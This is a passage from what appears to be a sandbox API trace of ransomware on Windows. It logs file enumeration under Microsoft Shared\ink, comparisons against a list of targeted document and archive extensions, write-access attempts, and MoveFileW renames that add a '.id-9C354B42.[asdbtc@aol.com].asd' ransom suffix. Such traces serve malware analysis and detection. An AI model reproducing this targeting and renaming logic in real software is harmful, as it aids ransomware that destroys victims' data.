lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0047.235] lstrlenW (lpString=".pdf") returned 4 [0047.235] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0047.236] lstrlenW (lpString=".xls") returned 4 [0047.236] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0047.236] lstrlenW (lpString=".xlsx") returned 5 [0047.236] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0047.236] lstrlenW (lpString=".ppt") returned 4 [0047.236] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0047.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0047.236] lstrlenW (lpString=".zip") returned 4 [0047.236] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0047.236] lstrlenW (lpString=".rar") returned 4 [0047.236] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0047.236] lstrlenW (lpString=".bz2") returned 4 [0047.236] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0047.236] lstrlenW (lpString=".7z") returned 3 [0047.236] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0047.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0047.236] lstrlenW (lpString=".dbf") returned 4 [0047.236] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0047.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0047.236] lstrlenW (lpString=".1cd") returned 4 [0047.236] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0047.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0047.236] lstrlenW (lpString=".jpg") returned 4 [0047.236] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0047.236] lstrcmpiW (lpString1=".xml", lpString2=".asd") returned 1 [0047.236] lstrlenW (lpString="base_rtl.xml") returned 12 [0047.237] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0047.237] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=617) returned 1 [0047.237] CloseHandle (hObject=0x1dc) returned 1 [0047.237] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml")) returned 0x20 [0047.237] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0047.237] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0047.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0047.237] lstrlenW (lpString=".doc") returned 4 [0047.237] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0047.238] lstrlenW (lpString=".docx") returned 5 [0047.238] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0047.238] lstrlenW (lpString=".pdf") returned 4 [0047.238] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0047.238] lstrlenW (lpString=".xls") returned 4 [0047.238] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0047.238] lstrlenW (lpString=".xlsx") returned 5 [0047.238] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0047.238] lstrlenW (lpString=".ppt") returned 4 [0047.238] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0047.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0047.238] lstrlenW (lpString=".zip") returned 4 [0047.238] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0047.238] lstrlenW (lpString=".rar") returned 4 [0047.238] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0047.238] lstrlenW (lpString=".bz2") returned 4 [0047.238] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0047.238] lstrlenW (lpString=".7z") returned 3 [0047.238] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0047.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0047.238] lstrlenW (lpString=".dbf") returned 4 [0047.238] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0047.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0047.238] lstrlenW (lpString=".1cd") returned 4 [0047.238] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0047.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0047.239] lstrlenW (lpString=".jpg") returned 4 [0047.239] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0047.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0047.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0047.239] lstrlenW (lpString=".doc") returned 4 [0047.239] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0047.239] lstrlenW (lpString=".docx") returned 5 [0047.239] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0047.239] lstrlenW (lpString=".pdf") returned 4 [0047.239] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0047.239] lstrlenW (lpString=".xls") returned 4 [0047.239] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0047.239] lstrlenW (lpString=".xlsx") returned 5 [0047.239] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0047.239] lstrlenW (lpString=".ppt") returned 4 [0047.239] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0047.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0047.239] lstrlenW (lpString=".zip") returned 4 [0047.239] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0047.239] lstrlenW (lpString=".rar") returned 4 [0047.239] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0047.239] lstrlenW (lpString=".bz2") returned 4 [0047.239] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0047.240] lstrlenW (lpString=".7z") returned 3 [0047.240] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0047.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0047.240] lstrlenW (lpString=".dbf") returned 4 [0047.240] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0047.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0047.240] lstrlenW (lpString=".1cd") returned 4 [0047.240] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0047.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0047.240] lstrlenW (lpString=".jpg") returned 4 [0047.240] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0047.240] lstrcmpiW (lpString1=".xml", lpString2=".asd") returned 1 [0047.240] lstrlenW (lpString="ja-jp.xml") returned 9 [0047.240] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0047.241] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=16616) returned 1 [0047.241] CloseHandle (hObject=0x1dc) returned 1 [0047.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml")) returned 0x20 [0047.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0047.242] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0047.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0047.242] lstrlenW (lpString=".doc") returned 4 [0047.242] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0047.242] lstrlenW (lpString=".docx") returned 5 [0047.242] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0047.242] lstrlenW (lpString=".pdf") returned 4 [0047.242] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0047.242] lstrlenW (lpString=".xls") returned 4 [0047.242] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0047.242] lstrlenW (lpString=".xlsx") returned 5 [0047.243] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0047.243] lstrlenW (lpString=".ppt") returned 4 [0047.243] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0047.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0047.243] lstrlenW (lpString=".zip") returned 4 [0047.243] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0047.243] lstrlenW (lpString=".rar") returned 4 [0047.243] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0047.243] lstrlenW (lpString=".bz2") returned 4 [0047.243] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0047.243] lstrlenW (lpString=".7z") returned 3 [0047.243] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0047.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0047.243] lstrlenW (lpString=".dbf") returned 4 [0047.243] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0047.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0047.243] lstrlenW (lpString=".1cd") returned 4 [0047.243] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0047.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0047.243] lstrlenW (lpString=".jpg") returned 4 [0047.243] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0047.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0047.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0047.244] lstrlenW (lpString=".doc") returned 4 [0047.244] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0047.244] lstrlenW (lpString=".docx") returned 5 [0047.244] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0047.244] lstrlenW (lpString=".pdf") returned 4 [0047.244] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0047.244] lstrlenW (lpString=".xls") returned 4 [0047.244] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0047.244] lstrlenW (lpString=".xlsx") returned 5 [0047.244] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0047.244] lstrlenW (lpString=".ppt") returned 4 [0047.244] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0047.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0047.244] lstrlenW (lpString=".zip") returned 4 [0047.244] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0047.244] lstrlenW (lpString=".rar") returned 4 [0047.244] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0047.244] lstrlenW (lpString=".bz2") returned 4 [0047.244] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0047.244] lstrlenW (lpString=".7z") returned 3 [0047.245] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0047.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0047.245] lstrlenW (lpString=".dbf") returned 4 [0047.245] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0047.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0047.245] lstrlenW (lpString=".1cd") returned 4 [0047.245] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0047.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0047.245] lstrlenW (lpString=".jpg") returned 4 [0047.245] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0047.245] lstrcmpiW (lpString1=".xml", lpString2=".asd") returned 1 [0047.245] lstrlenW (lpString="ko-kr.xml") returned 9 [0047.245] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0047.245] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=15097) returned 1 [0047.246] CloseHandle (hObject=0x1dc) returned 1 [0047.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml")) returned 0x20 [0047.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0047.246] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0047.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0047.246] lstrlenW (lpString=".doc") returned 4 [0047.246] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0047.246] lstrlenW (lpString=".docx") returned 5 [0047.246] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0047.246] lstrlenW (lpString=".pdf") returned 4 [0047.246] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0047.246] lstrlenW (lpString=".xls") returned 4 [0047.246] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0047.246] lstrlenW (lpString=".xlsx") returned 5 [0047.246] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0047.246] lstrlenW (lpString=".ppt") returned 4 [0047.246] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0047.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0047.247] lstrlenW (lpString=".zip") returned 4 [0047.247] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0047.247] lstrlenW (lpString=".rar") returned 4 [0047.247] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0047.247] lstrlenW (lpString=".bz2") returned 4 [0047.247] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0047.247] lstrlenW (lpString=".7z") returned 3 [0047.247] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0047.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0047.247] lstrlenW (lpString=".dbf") returned 4 [0047.247] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0047.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0047.247] lstrlenW (lpString=".1cd") returned 4 [0047.247] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0047.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0047.247] lstrlenW (lpString=".jpg") returned 4 [0047.247] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0047.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0047.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0047.247] lstrlenW (lpString=".doc") returned 4 [0047.247] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0047.247] lstrlenW (lpString=".docx") returned 5 [0047.247] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0047.247] lstrlenW (lpString=".pdf") returned 4 [0047.247] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0047.247] lstrlenW (lpString=".xls") returned 4 [0047.247] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0047.248] lstrlenW (lpString=".xlsx") returned 5 [0047.248] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0047.248] lstrlenW (lpString=".ppt") returned 4 [0047.248] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0047.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0047.248] lstrlenW (lpString=".zip") returned 4 [0047.248] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0047.248] lstrlenW (lpString=".rar") returned 4 [0047.248] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0047.248] lstrlenW (lpString=".bz2") returned 4 [0047.248] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0047.248] lstrlenW (lpString=".7z") returned 3 [0047.248] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0047.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0047.248] lstrlenW (lpString=".dbf") returned 4 [0047.248] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0047.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0047.248] lstrlenW (lpString=".1cd") returned 4 [0047.248] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0047.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0047.248] lstrlenW (lpString=".jpg") returned 4 [0047.248] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0047.248] lstrcmpiW (lpString1=".xml", lpString2=".asd") returned 1 [0047.249] lstrlenW (lpString="zh-changjei.xml") returned 15 [0047.249] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0047.250] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=9803) returned 1 [0047.250] CloseHandle (hObject=0x1dc) returned 1 [0047.250] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml")) returned 0x20 [0047.250] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0047.250] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0047.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0047.250] lstrlenW (lpString=".doc") returned 4 [0047.250] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0047.250] lstrlenW (lpString=".docx") returned 5 [0047.250] lstrcmpiW (lpString1=".docx", lpString2="i.xml") returned -1 [0047.250] lstrlenW (lpString=".pdf") returned 4 [0047.250] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0047.251] lstrlenW (lpString=".xls") returned 4 [0047.251] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0047.251] lstrlenW (lpString=".xlsx") returned 5 [0047.251] lstrcmpiW (lpString1=".xlsx", lpString2="i.xml") returned -1 [0047.251] lstrlenW (lpString=".ppt") returned 4 [0047.251] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0047.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0047.251] lstrlenW (lpString=".zip") returned 4 [0047.251] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0047.251] lstrlenW (lpString=".rar") returned 4 [0047.251] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0047.251] lstrlenW (lpString=".bz2") returned 4 [0047.251] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0047.251] lstrlenW (lpString=".7z") returned 3 [0047.251] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0047.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0047.251] lstrlenW (lpString=".dbf") returned 4 [0047.251] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0047.255] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=1218) returned 1 [0047.255] CloseHandle (hObject=0x1dc) returned 1 [0047.255] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml")) returned 0x20 [0047.255] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0047.255] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.594] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat.id-9c354b42.[asdbtc@aol.com].asd")) returned 0 [0047.595] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat.id-9c354b42.[asdbtc@aol.com].asd")) returned 0 [0047.596] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-9c354b42.[asdbtc@aol.com].asd")) returned 0 [0047.596] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft 